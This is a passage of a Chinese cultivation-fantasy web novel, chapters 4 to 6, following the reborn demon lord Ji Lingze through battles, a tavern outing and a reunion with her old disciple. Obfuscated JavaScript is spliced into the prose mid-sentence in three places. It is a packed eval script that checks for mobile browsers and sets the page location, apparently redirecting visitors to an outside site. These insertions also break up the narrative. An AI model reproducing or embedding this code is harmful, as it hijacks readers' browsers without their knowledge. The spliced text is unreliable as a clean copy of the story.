季灵泽将招财抓在手中,买了新剑的新鲜感褪去,奔波忙碌的困劲重新上来了,她摆摆手,打了个哈欠:“一般吧。” 说话间,那群魔修已经逐渐逼近,远远看过去像无数移动的黑点,每一个黑点边缘都散发着青黑色的魔气。 郁观一脚踩上半空中的佩剑,握着扇子摇了摇,看着这么多魔修来围攻他们的盛况,扬声笑道:“我还是第一次见这么多魔修围攻——他们要倒霉了!” 话音刚落,他整个人如同一支离弦的箭,御剑径直冲向了那群魔修,季灵泽笑着摇摇头,嘟哝了一句“年轻人就是火气旺”,单脚站在那把招财剑上,也跟着慢悠悠往那儿晃。 魔修们正磨刀霍霍准备宰了那个只有炼气的狂妄修士,却没料到迎面而来的居然是一个金丹大圆满,一时间傻了。 郁观将折扇打开,二话不说就直接冲进魔修堆里,他手中那把看似普通的折扇瞬间迸发出一道极亮的冰晶,从他手中脱手飞出时,仿佛有了自己的意识,盘悬着刺入为首的魔修心口处。 魔修也是金丹大圆满的修士,自然不是吃素的,危急关头他的身体猛然暴涨,体表迅速覆盖上一层坚硬的沙子,扇子割破了沙子的表面,那些沙子很快又聚拢起来,极迅速地修补了缺口。 郁观的脸色顿时变得怪异:“你认识百晓山的人?” 这是四大门派之一的百晓山惯用的心法,名为浴沙咒。 那魔修不说话,只是狞笑。 周围的其他魔修也纷纷开始结印,千万条巨大的黑气蠕动着扑向郁观,劈头盖脸缠住他的手脚。 郁观眉心一皱,折扇从半空中掉转方向,杀气腾腾地向着黑气砍去。 就在此时,为首的魔修抓住扇子脱手的刹那,哈哈大笑着甩出手心里的沙刺,那些刺在空中转了个弯,骤然刺向郁观的眼睛, 魔修眼里射出兴奋的光芒,神情扭曲道:“我杀的仙修比你吃得饭还多,就凭你,也想伤我?” “还有我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362814|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 忽有一阵狂风卷来,那些刺还未碰到郁观,就自己在半空中碎裂了。 白衣女子单脚站在一把破剑上,修长的手指捻起一个复杂的法诀,双臂向前一推! 狂风呼啸,劈头盖脸抽打在魔修身上,修为低一点的修士们难以站稳,队形散乱开来,捆住郁观的黑气瞬间垮了,被扇子一掀,再也维系不了,郁观趁此机会脱身,跃上自己的佩剑。 风把季灵泽的黑发吹得凌乱,她还不太习惯单脚站着,有点儿摇摇晃晃,活像是刚驯服佩剑的野人。 “噗哈哈哈哈哈哈哈哈……呃!”郁观刚脱身就迎面看见她这幅尊容,笑得合不拢嘴,结果吃了季灵泽一嘴风,被迫把嘴闭上了。 他涨红了脸连忙朝季灵泽摆手,指着自己的嘴表示再也不笑了,季灵泽默默收回了风,从招财上跳下来。 “你怎么来得这么慢……”郁观突然瞪大了眼睛,“你筑基了?” 季灵泽提着招财朝魔修堆里走去:“时间紧迫,匆匆升了一下,境界还不稳固。” “固”字话音刚落,半空中的招财剑寒光大盛。 她行云流水般从魔修堆里窜过,一袭白衣宛如幽灵,常常是某个魔修刚反应过来她在自己边上,下一秒,断剑穿心而过。 平日里唇边总挂着懒散的笑意的人,唯独杀人时收敛了表情,显现出剑一般的锋利冷漠。 半炷香的时间过去了,魔修们方寸大乱,纷纷转攻为守,在身边筑起护体屏障。 只有金丹魔修轻嗤一声“废物”,主动抬脚追向季灵泽,手中的沙子犹如一条灵活的鞭子,狠狠抽向季灵泽的脊背! 季灵泽的身影却在此刻刹住了,她旋身抬手,高举招财剑正面迎上了这一击,沙鞭与断剑相撞,发出沉闷的撞击声。 两人脚下同时凹陷下去,筑基的力量到底比不上金丹,只让沙鞭停滞了几秒的功夫,但这几秒已经够了,季灵泽的身影忽然一晃。 幻影身! 沙鞭劈中的只是一片枯黄落叶,真正的季灵泽已经飞入了一众魔修之中,如同一滴落入湖面的水,居然就这么消失不见了。 金丹期魔修霍然变色,郁观啧啧称奇,季灵泽对这些灵力要求不高却考验控制力的小法术运用得可谓是炉火纯青,幻影身叠着障眼法,分秒之间先后使出两种术法,如今的修仙界,恐怕很少有人能达到这种水平。 想到此处,郁观指尖轻轻敲击着扇骨,若有所思。 她这样的资质待在沧山派这种无名无姓的小门派实在可惜,若能招揽来万象宗就好了。 季灵泽在魔修之中可谓是如鱼得水,她飞速穿梭在一众魔修之中,不断变化出他们同伴的模样迷惑他们,过了一会儿,魔修中传来阵阵骚动: “你干什么?” “不是我!” “莫名其妙捅老子干嘛!” “睁大你的狗眼看仔细了,他大爷的我动都没动!” “草,那是谁干的?!” …… 一时间整个魔修队伍陷入前所未有的混乱,他们焦躁地互相提防,骂骂咧咧地拿着剑乱砍,却连季灵泽的一片衣角都碰不到。 季灵泽的脸与身形不断改变,从魔修群里大摇大摆地穿梭来往,不动声色地在须臾之中干掉了几十个魔修。 一时间所有的魔修对彼此的不信任都达到了顶峰,原本聚在一起黑压压一片的魔修队伍瞬间作鸟兽散,如同一串被剪断的珠子,噼里啪啦散落了一地,彼此都隔着十万八千里,再也不敢轻易接近对方。 魔修有数百人,最大的优势是可以利用人多的特点摆出阵法,季灵泽巧妙地解决了这一危机,便不再逗留,从魔修群里飞身而出,朝着郁观道:“这些人交给你,我去和那个金丹期打。” 郁观点了点头,经过这么多天的相处,他对季灵泽的实力已经十分信任,闻言不再犹豫,抓着扇子御剑飞入魔修群中。 金丹期魔修的脸色已经差到了极点,眼睁睁看着那些修士被杀却抓不住季灵泽,气得他徒手捏爆了那条幻化出来的沙鞭。 怒极之下的他灵力暴涨,纵身朝着季灵泽飞来。 他身后的沙子不断翻滚凝聚,形成两条虫一般的庞然大物,张口朝季灵泽吞来。 季灵泽刚想拔出剑,心口处忽然传来一阵撕裂般的疼痛。 千钧一发,她动作慢了一瞬间,再出手已经来不及,只得咬牙就地一滚,勉强避开了沙虫的吞噬。 心脉处原本以为已经补好的旧伤,在她匆忙晋升筑基期的这个瞬间再度发作了! 4. 第 4 章 季灵泽对自己的运气已经习以为常,她一边飞速地调理气息,念止痛诀屏蔽痛感,一边极速后退,躲避沙虫锲而不舍的攻击。 心脉的疼痛犹如有无数刀尖割着她的血管,修仙界曾经有不少自废修为的修士,都是因为难以忍受这种疼痛。 疼痛降低了季灵泽的攻击力,却没有影响她的移动速度,她立在剑上,足尖轻点,白色袍子被风吹得扬起,像是一片柔软无骨的轻云,在纷纷扬扬的沙雨中腾挪。 她脸色白得近乎透明,神情却异样的冷静。 沙虫还在身后穷追不舍,魔修显然被她忽然的狼狈刺激到了,追得愈发凶猛,大笑道:“筑基了又如何?刚筑基就能死在我手里,你也不算亏!” 季灵泽心脉又是一阵剧痛袭来,她不得不分出灵力来压制痛感,恰在此时,沙虫一口咬向她的肩膀,尖利的牙齿刺入了她的手臂,力道大得要把她的手臂活活撕下来。 季灵泽用力从它口中扯下自己的手臂,然而下一秒,沙虫便扑上来一口咬向她的脚腕。 魔修没有急着杀死她,像是在注视一只垂死挣扎的猎物,高高在上地欣赏她即将被虐杀的惨状。 他笑道:“荣幸吗?你正好是我杀的第一百二十个人。” 沙虫的利齿下,季灵泽微微仰起头,看着眼前的人。 那目光很古怪,平静,怜悯,自嘲。 最后化为一声轻轻的叹息。 “我本来……不想这样。” 话音未落,她双指并拢,向空中一指! 只听半空中轰然一声巨响,白光一闪而过,沙虫顿时被劈成无数小段,土崩瓦解,落在地上兀自扭动挣扎。 季灵泽站起身,咬破指腹,将一滴殷红的血液滴在招财剑上,那把方才还形如废铜烂铁的剑瞬间闪过一丝血光,像是吸食了某种力量,陡然锋利透亮了起来。 季灵泽静静看着金丹魔修。魔修对上她的目光,忽然产生了一种说不清道不明的畏惧,眼前这个只有筑基的修士身上好像突然多了某种东西,居然让他产生了刹那的惊异。 那把断剑怎么变红了? 这是他脑海中闪过的最后一个念头,下一秒,就见刚刚还在一丈开外的女子乍然逼至眼前,目中闪过妖异的红光,手中剑断口处忽然生长出数道血红的剑气,硬生生拼凑成了一把完整的剑! 他眼前一花,只觉得四肢百骸都在这一瞬间变得僵硬,耳边似有呓语阵阵,五感尽失,灵台破灭。 金丹魔修口中吐出一口黑血,他眼球暴突,匍匐于地,那种巨大的压迫感在一瞬间攥住了他,令他动弹不得。 他不可置信地喃喃:“寄生血……魔修功法,你……” 最后一句话也没能说完,他脖间一凉,泛着红光的铁剑贴着他的喉咙刮过,他看见自己的血飞溅而出。 季灵泽抽回剑的瞬间,自己也再支撑不住,只得用剑撑着地,单膝跪了下去,勉强维持住站立。 她闭着眼睛,浑身上下都泛起连绵不绝的撕裂疼痛,像是千万根银针扎入心脉。 “你怎么了?”远处的郁观刚刚解决完最后一个魔修,一转过身就见她整个人像被抽了骨头一样滑下去,忙飞身而至,抓着她的手把她扶起来。 这一扶不要紧,她的手凉得仿佛一块冰,把他吓了一跳:“刚刚那个魔修干的吗?这么严重?” 季灵泽额头上已经疼得渗出汗来,她当然不能说实话,只能让方才的魔修顶下这口锅:“嗯……魔道之人……真是太险恶了。” “你才刚筑基,境界不稳固,快歇一会儿。” 郁观蹙眉,小心扶着她坐下,伸手按在她后心上,给她渡了一些灵气。 “谢了。” 季灵泽闭上眼睛打坐调息,灵气运转,流入心脉之中,但刚流进心脉就如同石牛入海,丝丝缕缕地与心脉深处的黑气交缠抵消,随着黑气慢慢淡了一点,刺痛感也随之减轻,季灵泽攥紧的手微微一松,吐出一口血来,终于缓过神。 “好一点了吗?” “嗯。” “那魔修很厉害吗,能让你都吃这么大的亏?” 郁观递来一张手帕给她擦血,自他见到季灵泽起,这是第一次见到她力不从心。 季灵泽拭去唇上的血,有点想笑:“我只是个刚升入筑基期的仙修,而他已经金丹大圆满了。” 郁观一愣,这才记起她刚筑基,不由得一顿。 刚筑基便已经能杀死金丹大圆满的魔修,若她更进一步,该是何等恐怖的实力? 他认真注视她片刻,突然道:“……我遇到过的修士中,没有人有这么娴熟的战斗技巧。” 季灵泽眨眨眼,开玩笑道:“可能我天赋异禀吧。” “你确实天赋异禀,”郁观飞快地说出这句话,低头看着自己的扇子,“……对了,你的伤或许我们万象宗能治,要不要随我去万象宗?” 特别含蓄又特别自然的招揽,郁观对自己的表现感到满意。 万象宗历史悠久,背靠郁家,资源丰富,培养出了一批又一批优秀的修仙者,位列四大宗门之首,一直是许多仙修最向往的地方。 季灵泽摇摇头,干脆拒绝:“不去。” 那是她上辈子的师门,她在那里呆了大半辈子,最后落得个欺师灭祖的名声,同门相残的下场。 郁观没料到她这么干脆,不禁疑问道:“我们万象宗有什么不好?” 季灵泽点头,眼都不眨:“有啊,百年前出了个叫季灵泽的大魔修,我最讨厌魔修了。” 郁观沉默了,这个,他确实无法反驳。 魔尊季灵泽,一直是万象宗光辉历史里最显眼的一粒污点,看凌七这幅天天拿着魔修刷经验的样子,确实是很讨厌魔修了。 可惜了这么一块璞玉,幸好她出身于常年垫底的沧山派,若是在其他三个大门派里,他们万象宗今年的仙选大会压力就大增了。 不知还能不能再争取一下…… 他底气有点不足地道:“那魔头只是一个意外……” 季灵泽突然凑过来,勾着他的肩膀转移了话题:“不说这个,晚上去喝酒庆祝一下吗?” “啊?”万象宗规矩最多,一出生就被规矩拘着的郁观惊了,他连连摆手,“修仙者克制欲念、抱定守一,怎么能喝酒呢,不去不去。” “又是你们郁家的死规矩,”季灵泽摇头笑道,“我们修行之人讲究的是大道自然,顺心而为,谁要天天在那里克制来克制去的。放心吧,我带你去喝的酒巨好喝,一口下去那叫一个唇齿生香,要是错过了这一次,保管你一辈子都喝不到这么香的酒。” 她的语气太有诱惑力,郁观有点心动了,他犹犹豫豫地道:“但是……” 不等他但是,季灵泽已经跳上了招财剑:“来不来?” “……来。” 二人御剑飞了两个时辰才赶到酒楼,下来的时候郁观累得不住地揉自己的膝盖,他看着神采奕奕一点儿都没有刚才虚弱样子的季灵泽,气得牙痒痒:“你怎么一点儿也不累?恢复得这么快?” 季灵泽老神在在:“何以解忧,唯有杜康。只要有酒喝,再远都不累。” 这酒楼名曰杜若楼,老板也是个修士,只是修到一半,不知受了什么刺激,认为修道之路太漫长,终其一生不过变强而已,毫无意义,自己不应该一条路走到黑。 他转头干脆就地开了个酒楼,生意很不错,至今已经有五百年,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362815|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数来往修士来这里喝过酒,也见证了不少传奇人物。 酒楼前直接挂了一大块木牌,上面用显眼的墨字写着:进门可享魔尊同款酒,八八折优惠。 季灵泽盯着那块木牌:“……” 好家伙,这是直接拿她宣传上了。 郁观看见那块木牌,满脸怀疑人生:“这什么玩意儿?你不是讨厌魔头吗?为什么专门来这里喝酒?” 季灵泽硬着头皮道:“这更足以证明这里的酒有多好喝,好喝到我愿意暂时放下对季灵泽的仇恨。” 郁观:“……” 他就不该听她胡诌。 他们一进去就见到了酒楼老板,他一点儿也不像是个修仙人,一身粗布衫,一张白胖脸,笑起来的时候和和气气的,见了他们便迎上来,笑呵呵地问道:“客官想喝什么?” 还不等季灵泽说话,郁观便眼神飘忽地道:“这个……魔尊同款酒,来一份。” 季灵泽看着他,一挑眉。 郁观嘴硬道:“我就是好奇,好奇而已。” 于是季灵泽从善如流道:“我和他一样。” 郁观学着她的样子挑眉问她:“你不是讨厌季灵泽,又是为什么点同款酒?” 季灵泽理直气壮:“我们穷鬼只喝得起打折酒。” 二人寻了个二楼的位置坐下,一人一碗“魔尊同款酒”,酒液色泽碧玉,香气扑鼻,季灵泽喝了一大口,清凉甘润的酒液顺着喉咙流下,竹香里带着一丝茉莉的清甜,还是记忆里那个熟悉的味道,眉心不由得舒展了开来,连隐隐作痛的心脉似乎都舒服了不少。 郁观学着她的样子喝了一大口,眼睛瞬间亮了起来:“好好喝!” 季灵泽得意一笑,道:“那当然,这酒原名叫邀明月,有一斗合自然的美誉。” 初次接触喝酒的郁观惊为天酒,舍不得一次性喝完,捧着碗小口小口地往下咽,一时间什么清规戒律都抛到了九霄云外,季灵泽看着他这幅样子,有些好笑:“不够可以再续,你这么节约干嘛?” 郁观用扇子一敲桌面:“酒要慢慢品。” “说得好像你常喝一样,”季灵泽笑起来,揶揄他,“这酒后劲很足,你多喝几杯,没准连自己叫什么都忘了。” “不可能!”为了证明自己,郁观一口气闷了好几口,嘴上说着不可能,脸却以肉眼可见的速度变红了,“……不可能……” 他目光朦胧起来,撑着头,有些发呆。 季灵泽用手指在他面前晃了晃,诧异道:“嗯?这就不行啦?” 郁观抬起眼睛看她,那双眼睛里雾蒙蒙一片,嘴硬道:“……我没有……不行。” “行”字出口一半,他已经摇摇晃晃,整个人栽了下去,醉成了一摊泥。 季灵泽“噗”一声笑了出来,她戳了一下郁观的脑袋,郁观一动不动,俨然已经熟睡。 “你们郁家人都什么破酒量……”季灵泽笑着转过头,目光划过门口时,忽然顿了顿。 “一杯邀明月。” 冷淡低沉的嗓音。 有一个青年站在门口,墨发用一根旧木簪挽在脑后,长身玉立,一身气质凌冽冷淡,即使是普通的姿容也掩盖不了他出尘的气度,皎若云上月,身似月中仙。举止之间别有一种清贵泠然的气度。 很特别的气质,季灵泽的目光在他身上略微停顿片刻,想到了一个故人,但她很快又摇摇头。 他不会自己来这种地方的。 在她偏开目光的下一秒,那人似有所觉,霍然抬头朝这里看来。 白衣女子只露出一个侧脸,正在笑着逗旁边趴在桌上的人,全然陌生的长相。 ……不是她。 又是幻觉。 5. 第 5 章 郁观醒来的时候,感觉自己从来没有这么神清气爽过。 他是宗门里新一代中的佼佼者,仙选大会在即,训练任务繁重,很久没有睡过一个饱觉。 他睁开眼看见的第一幕,是在他面前竖着的一根手指,手指晃了晃,女子的声音清晰响在他耳边,带着一点儿促狭笑意:“这是几?” 郁观一愣。 他猛然抬头,看清了自己在哪里,脑袋上睡乱的头发几乎都要炸起来了:“我睡了多久?!” 季灵泽道:“三个时辰。” 糟了,他把万象宗的训练时间睡过了! 郁观崩溃地抓着自己的脑袋:“完了完了完了,你怎么没提前喊醒我!” 季灵泽欣赏着他这副样子,笑道:“没办法,有些人一杯就倒,我也很意外。” 郁观把乱糟糟的鸡窝头捋了一下,抓了扇子和剑就要往外冲,被季灵泽拦下,她抓着郁观的袖子,朝他眨眨眼:“还没付钱呢。” 郁观:“……” 难怪这厮带他来喝酒,感情她自己是个买不起酒的穷鬼,就指着坑他一笔! 离万象宗清点训练人数还有半个时辰,郁观一个头两个大,也顾不上这些,匆匆把灵石往桌上一扔,跳上剑狂奔。 打了魔修,喝了酒,没付酒钱,季灵泽感觉自己前所未有的精神百倍。 她欣赏着郁观狼狈狂奔的风姿,朝他比了个大拇指,驾驶着断剑,保持着金鸡独立往沧山派飞去。 沧山派中,凤潇潇正在督促弟子们修炼。她善使鞭子,一把凤尾鞭出手,寒光闪闪,小弟子们吱哇乱叫: “师姐轻一点!!!” “痛痛痛!” “你先和师姐打,我……我后面再打。” …… 凤潇潇看见他们这样就来气,紧皱着眉头呵斥:“仙选大会在即还偷懒,该打!你们呆在自己的一亩三分地里,根本没见过那些大门派的弟子有多么厉害,真该带你们去见见世面。” 她训斥着训斥着,忽然感觉不对。弟子们的目光缓缓从她脸上移到了半空中,一脸震撼和呆滞。 凤潇潇抬起头,也石化了。 只见一个白衣女子单脚站在一把破破烂烂的断剑上,头发凌乱,目光困倦,以一个十分滑稽的姿势朝他们飞来,见他们都在看自己,她顿了顿,挥挥手:“大家好。” 凤潇潇:“……” 季灵泽从剑上跳下来,收了剑,对凤潇潇朗声笑道:“师姐,我来训练。” 凤潇潇上下打量她一遍,原本严厉的神色稍稍缓和了一点:“你终于筑基了?” 季灵泽点点头。 “这是什么玩意儿?”凤潇潇一看到那把剑……不,那把烂铁就觉得眼睛疼,“能用吗?不能用你先用我的剑凑合着。” 凤潇潇师姐嘴上不饶人,心却很软,季灵泽朝她笑笑:“谢谢师姐,招财很好用。” “它叫……什么?”凤潇潇凌乱了,开始怀疑自己是不是最近太累,耳朵出了点问题。 季灵泽把手中的剑举到凤潇潇面前给她仔细展示了一下,得意一笑:“招财剑,招财进宝的招财。” 凤潇潇沉默了。 凤潇潇怀疑,有些时候,自己可能真的有代沟了,跟不上年轻弟子的思路。 她憋了半天,最终只道:“……算了,你高兴就行。” 说完,她摇摇头,把刚刚听到的奇葩名字甩出脑外,让自己回归正题。 凤尾鞭发出一声嘶鸣,居然直直朝季灵泽打了下来。 周围的弟子并不惊讶,都是一脸看好戏的表情。 凤潇潇师姐最喜欢毫无预兆地出手,金丹后期的实力毋庸置疑,只要出手必能得手,但凡是和师姐训练过的弟子,一场试炼后都是伤痕累累,无比凄惨。这个一贯逍遥懒惰的凌七,终于也能尝一尝被师姐磨炼的苦头了。 他们兴致勃勃地想看一出季灵泽被单方面暴打的好戏。 季灵泽双足轻点,灵巧地一跃,借力飘入半空中,避开了这一鞭,一身白衣如同一片飘摇的叶子,无风自动。 凤潇潇眼中划过意外,神色认真了起来,她将鞭子放在手掌心,那执鞭的手忽然燃烧起一团明亮火焰,连同鞭子也燃烧起来,一鞭抽出,发出一声响亮的爆响,火焰燃烧着径直冲向季灵泽,炽烈的火光似乎把空气都烧得灼热起来,刺得周围弟子连连后退。 季灵泽却没有急着后退,她闭上眼睛,口中低声唤道:“招财!” 凤潇潇脚上一个趔趄,连火球都顿了一下。 不行,这个名字还是……太奇怪了。 招财断剑飞入季灵泽手中,她毫无犹豫,抓着剑径直朝火球掷出,剑身如流星飞入火球深处,“刺啦”一声爆响,火球在剑身上燃烧,竟然与剑身融为一体了! 季灵泽飞身抓起剑柄,此刻那把断剑灼灼燃烧,看起来竟与凤潇潇手中燃烧的凤尾鞭一样。 剑身上的火聚在一起,被她一剑砍出,一颗与方才一模一样大的火球飞扑而出,直直奔向凤潇潇。 周围的弟子们看傻了。 什么?还能这样? 凤潇潇一愣,她挥鞭把火球打散,在看向季灵泽时,眼里已经是明显的欣赏:“不错。” 下一刻,她突然挥鞭连甩七次,七个火球从不同方位向季灵泽射去,一时间演武场中心红光大盛,热浪翻腾,周围的弟子像炸锅的蚂蚁一样向四面八方散去,演武场中心只剩下两人。 一人红衣猎猎,一人白衣飒飒。 季灵泽面不改色,御剑穿梭于火球之中,同时手中飞速结起一层泛着蓝光的护体水罩,淡蓝色的护体水罩暂时挡住了翻滚的火浪。 她飞至半空中时乍然停下,将招财剑猛地向下一劈,硬生生将离她最近的火球劈成了六个小火球! 六个小火球与剩余的六个大火球相撞,所有人眼前都是一花,只听见巨大的爆炸声在耳边响起,再睁开眼时,季灵泽已经御剑蹿到了百丈高空里,而剩下的六个大火球被撞偏了角度,砸在地上,燃烧了起来,演武台上热浪翻滚,连凤潇潇都不得不退到一边。 全场一片寂静。 一边的弟子互相看看,都怀疑自己在做梦。 凌七赢了凤潇潇?那个废物凌七? “好!”凤潇潇不由得赞道,刚刚那一击,她用了金丹后期的全部力气,凌七以巧劲抗衡,居然毫发无伤。 以前怎么没发现,凌七居然不是废材,是个可造之材? 她不由得心情大好,收回鞭子,拿出传音石道:“华漠,来灭火。” 凤潇潇善于用火,华漠善于用水,每次凤潇潇把手下的弟子虐完,都是华漠过来收拾残局。 华漠匆匆过来之后,见到满场熊熊燃烧的火焰,不由得一愣:“你动真格的了?” 凤潇潇眼中含笑,难掩激动:“是。没想到凌七居然是个好苗子,只是平日里偷懒,才一直没有进益。” “我担心,她不是因为偷懒,而是身体有问题。” 凤潇潇神色一凝,她垂头思索片刻,道;“如此,请掌门瞧瞧吧。” 华漠双手合十,指尖慢慢聚拢出一团如雾一般的水汽,轻轻一弹,那团水汽便飘在演武场中心,淅淅沥沥地下起小雨,片刻后,火焰渐渐灭了,演武场恢复了原先的模样。 季灵泽从剑上跳下来,朝凤潇潇和华漠一笑,华漠这才看见她那把剑,眉心抽了抽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362816|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 委婉道:“师妹若有难处,可以与我提。” 季灵泽抓着那把剑摇摇头,无所谓道:“谢师兄,能用。” 华漠见她推辞,没有强求,道:“你进益很大,我们准备带你去见一见掌门。” “掌门?”季灵泽顿了顿,“掌门不是在闭关吗?” 沧山派是一个散修门派,除掌门外没有其他师长,弟子修行全靠自觉。掌门的存在主要起到震慑魔修、庇护境界低的修真者的作用。 是以掌门极少露面,绝大部分弟子连掌门长什么样都不知道。 后来华漠与凤潇潇依次修成金丹,在门派中有了话语权,这才有一批弟子自发跟着他们一同修炼。 见她似乎心有疑虑,华漠解释道:“你天资聪颖,但此前修为却迟迟停滞,也许带你去给掌门看看,会有所改善。” 季灵泽心道不妙,她心脉有损的事情不太好解释,看着师兄师姐关切的目光,她只能硬着头皮解释道:“我之前太过懒惰才导致修为一直停滞不前,其实没什么大事。” 华漠劝导道:“懒惰之人也不会进步这么慢的,万一是有什么疾病就不妥了。” “掌门一直闭关修行,还是别打扰她老人家了……”季灵泽弱弱抗议。 凤潇潇坚持道:“掌门仁善,不会责怪你的。” …… 几番推拒完,季灵泽把能找的借口都找了一遍,没有任何用处。 看来这一趟是必须走了。 她吐息几次,隐蔽地把全身上下的所有灵力都输向心脉处,灵力汇集,开始模拟正常心脉的运作,短暂让心脉看起来毫无异样。 这样一来,升入筑基的灵力再度枯竭,她一时间境界不稳,脚下一滑,差点平地摔倒,华漠和凤潇潇一左一右架住她,两人异口同声地问:"没事吧?" 季灵泽艰难地稳住身子,摆摆手道:“无事……刚打完架有点累。” 她现在是师兄师姐的重点保护对象,凤潇潇连忙从兜里拿出一粒药递给她,面色有点愧疚:“充灵草的药丸,可以短暂补充一点灵力,抱歉,我刚刚一心想试一试你的深浅,没注意你刚升筑基,难免吃力。” 充灵草的药丸一颗就要一千灵石,简直是她这种穷鬼想都不敢想的天材地宝。 季灵泽接过药丸,认真地看着师姐,笑眯眯地道:“师姐对我真好。” 一直被人敬而远之的凤潇潇脸有点儿红,转过头不自然地道:“应……应该的。” 说话间,三人已经转过几个山头,来到了一处山清水秀的松林边,只见山林中松风阵阵,从他们走进去的一瞬间,郁郁葱葱的林子仿佛同时觉察到了他们的到来一般,发出“沙沙”的声音。 华漠与凤潇潇跪了下来,神色庄严地道:“求见掌门。” 林中的风霎时间一停,空旷的山林间,忽然有一个沙哑苍老的女声响起:“快进来。” 一股风托着他们三人径直进了林子,季灵泽在触及这阵风的瞬间就看出来了对方的境界——出窍前期! 等所有喧嚣都远去后,面前出现了一个小山洞,藤蔓密密麻麻地盖住了山洞的门口,洞口青烟袅袅,随着他们一步步向山洞走去,清风慢慢刮走那些盘旋在洞口的烟雾,藤蔓也被吹起。 那是一个干瘪苍老的女人,闭着眼睛,一动不动地盘腿坐在草席之上,犹如古寺庙里生了锈的佛像,慈眉善目,古朴庄严。 沧山派掌门,莫哀。 等他们站定后,她缓缓睁开眼睛。 一双金色的眼睛。 季灵泽看见那双眼睛的瞬间,只觉得脑海中轰鸣一声,剧烈的疼痛吞没了她,前世今生的回忆在这一刻涌上心头。 恍然百年。 6. 第 6 章 季灵泽一眨不眨地看着她,或许是她看得太久,久到凤潇潇和华漠都觉得有些不妥,悄悄扯了扯她的衣角示意她跪下。 掌门在此刻开了口,她道:“你们退下,凌七留下吧。” 凤潇潇和华漠不明所以,但还是听话地退下了。 从他们离开后,掌门便一直看着季灵泽,一直看一直看,然后她颤颤巍巍地站了起来,向季灵泽跪下了。 季灵泽早就预料到她的动作,在她膝盖弯下的瞬间就一把拉住她的手臂,将她拽了起来。 这一刻,季灵泽的脸上一贯带着的轻松笑意凝在眼角,漫不经心的气质从她身上褪去,像是一块落入湖底的石头,一瞬间静默了下来。 她垂着眼,声音哑了:“小蛇。师娘都认不出你了。” 莫哀的眼角渗出大滴大滴的泪来。 季灵泽抓着她的手一颤,她苍白的脸色更白了一些:“小蛇,好久不见。” 莫哀拼命地摇着头,她声音哽咽了:“师娘……” 季灵泽抬起手拂去她的泪水:“师娘在。” 莫哀对上她的眼睛。 季灵泽的眼睛一如记忆里那样澄明温柔,她被这双眼睛注视着,度过了这一生中最好的年华。 八百年前,季灵泽下凡游历,遇到了一个因金瞳被人视为异端要烧死的小女孩。 她救下她,将她带回宗门,拜自己为师。因为她的金色眼睛,她打趣地叫她小蛇。 小女孩很刻苦,入门第二日便炼气了,她总是不声不响地跟在她身后,像个甩不掉的小尾巴。 季灵泽一直陪她到了金丹后期,本以为能一直陪下去,孰料天不遂人愿,她堕魔,身败名裂。小蛇也因为她的缘故,成了修真界的笑柄,她不愿意改换门庭,于是便一直是个散修。 她入魔的前一日,将收集的各类丹药全部留给了小蛇。按照小蛇的天资,又有这些灵药的帮助,早早便固龄了,怎么会苍老至此? 好久没有见到她了。太久了。久到连她也要凭借着她的眼睛才能认出她。 莫哀再也忍不住,一把抱住了季灵泽,放声痛哭起来。 她头发花白,身躯干瘦,像一棵已经枯萎的树。 然而她注视着季灵泽的金色眼睛里漾着依恋与爱意,恍然如同当年,于是枯萎的树也有了一瞬的回青。 季灵泽紧紧地抓着她的手,声音沙哑了:“小蛇,你为什么会变成这样……是有人欺负你吗?” 前世的魔尊倒影在她眼中一闪而过,这一刹那,她目光像是一把沾血的剑,狠戾,锋利,煞气腾腾。 莫哀被这种目光看着,鼻子又是一酸,她安静片刻,缓缓道: “我的金色眼睛并非天生,而是人为。” 季灵泽握着她的手一紧。 莫哀的声音轻如柳絮,她第一次聊起她的眼睛,聊起这个掩埋了几百年的秘密: “我出生的村子里,每年都会消失几个新生的孩子,后来我才知道,新生儿最为纯粹,也因此能提炼出最精纯的灵力。” 这件事被莫哀用轻缓的语气说出,信息量却很惊人,季灵泽眸光一暗。 如此丧尽天良的手段,会是魔修,还是…… 莫哀神色平静,仿佛不在讲自己的故事:“十二岁那年,我意外撞破了他们杀死婴儿提炼灵力的秘密,他们一开始想杀我,后来不知为何改了主意,在我的眼睛上抚了一下,从此之后,我眼睛变成了金色,身体一天比一天孱弱。” “村民要将我当成异端烧死,幸而师娘救下了我,教我仙法,教我结丹,我体内的那种诅咒被灵力暂时压了下去,便以为自己没事了。” “再后来,出了那么多事情,师祖死了,师娘也死了……” 她说到这里的时候,停顿了很久,神色慢慢黯淡下去:“有人诋毁师娘,说得太难听,我气不过,便与他大打出手,不小心伤了内丹,无法再吸收灵力,幼年的伤反扑了。” 